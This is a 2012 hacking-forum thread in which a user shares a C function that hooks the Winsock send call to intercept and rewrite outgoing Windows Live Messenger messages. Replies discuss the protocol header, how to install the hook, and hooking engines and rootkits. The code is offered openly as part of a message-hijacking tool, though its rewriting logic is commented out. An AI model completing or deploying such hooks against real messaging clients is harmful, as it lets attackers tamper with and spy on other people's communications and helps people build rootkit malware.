

## Forum:[Hack Forums](#)

Thread: [Hijacking Windows Live Messenger Messages](#)

**Feminist** - May 6, 2012, 11:10 pm

I wrote this about two years ago, it was just pseudo code that I finished off

It was for WLM 2009 I believe, install the hook however you want

```
Code int WINAPI MySend(SOCKET s, const char* buf, int len, int flags)
{
    //Info for messenger 2009
    /*
        MSG msgnumber N num      <- Header
        No content-length to be edited
        CR LF CR LF
        0D 0A 0D 0A <message>

        if( *(DWORD*)buf == 0x2047534d ) //header
        {
            char maxMessage[600] = "";
            strcat(maxMessage, buf);
            strcat( (maxMessage + len), "This message has been replaced via hook.\0");
            return pSend(s, maxMessage, strlen(maxMessage), flags);
        }
        */

    return( pSend(s, buf, len, flags) );
}
```

**Gone With The Wind** - May 7, 2012, 6:10 am

(May 6, 2012 11:10 PM)scriptkiddy Wrote: [\[CITE\]](#) I wrote this about two years ago, it was just pseudo code that I finished off

It was for WLM 2009 I believe, install the hook however you want

```
Code int WINAPI MySend(SOCKET s, const char* buf, int len, int flags)
{
    //Info for messenger 2009
    /*
        MSG msgnumber N num      <- Header
        No content-length to be edited
        CR LF CR LF
        0D 0A 0D 0A <message>

        if( *(DWORD*)buf == 0x2047534d ) //header
        {
            char maxMessage[600] = "";
            strcat(maxMessage, buf);
            strcat( (maxMessage + len), "This message has been replaced via hook.\0");
```

```
    return pSend(s, maxMessage, strlen(maxMessage), flags);  
}  
*/
```

```
    return( pSend(s, buf, len, flags) );  
}
```

Doesn't the header have something that acts like a content-Len field you must change?

iVision - May 7, 2012, 8:35 am

How could you ever use this? I mean what is the address and such of the wlm server.

Feminist - May 7, 2012, 9:00 am

(May 7, 2012 06:10 AM)Element Products Wrote: [\[CITE\]](#) Doesn't the header have something that acts like a content-Len field you must change?

You don't have to modify the content length

(May 7, 2012 08:35 AM)iVision Wrote: [\[CITE\]](#) How could you ever use this? I mean what is the address and such of the wlm server.

Hook send however you want

Gone With The Wind - May 7, 2012, 9:25 am

(May 7, 2012 09:00 AM)scriptkiddy Wrote: [\[CITE\]](#) You don't have to modify the content length  
Never knew that, I wrote a big class to rebuild the packets from scratch ?.

anonslu - May 9, 2012, 6:18 am

excuse me sir is this the c programming language

Feminist - May 9, 2012, 9:09 am

(May 9, 2012 06:18 AM)anonslu Wrote: [\[CITE\]](#) excuse me sir is this the c programming language  
This is just the hook, you have to install it. Will work for both C and C++

drOne - May 9, 2012, 2:00 pm

Kinda pointless without a proper hooking engine.

Feminist - May 9, 2012, 2:34 pm

(May 9, 2012 02:00 PM)drOne Wrote: [\[CITE\]](#) Kinda pointless without a proper hooking engine.  
Not really, it just means that noobs won't copy paste it and it won't show up on the market place in a few days from now lol

drOne - May 9, 2012, 2:40 pm

(May 9, 2012 02:34 PM)scriptkiddy Wrote: [\[CITE\]](#) Not really, it just means that noobs won't copy paste it and it won't show up on the market place in a few days from now lol  
I meant pointless in the fact that people won't know how to implement it/what it's even for.

Nice share nonetheless ?

Gone With The Wind - May 10, 2012, 12:04 am

(May 9, 2012 02:40 PM)drOne Wrote: [\[CITE\]](#) I meant pointless in the fact that people won't know how to implement it/what it's even for.

Nice share nonetheless ?

If they're too stupid to write a simple hooking engine this code should not bother them. If he releases a hooking engine there will be a sudden surge C++ rootkits for sale.

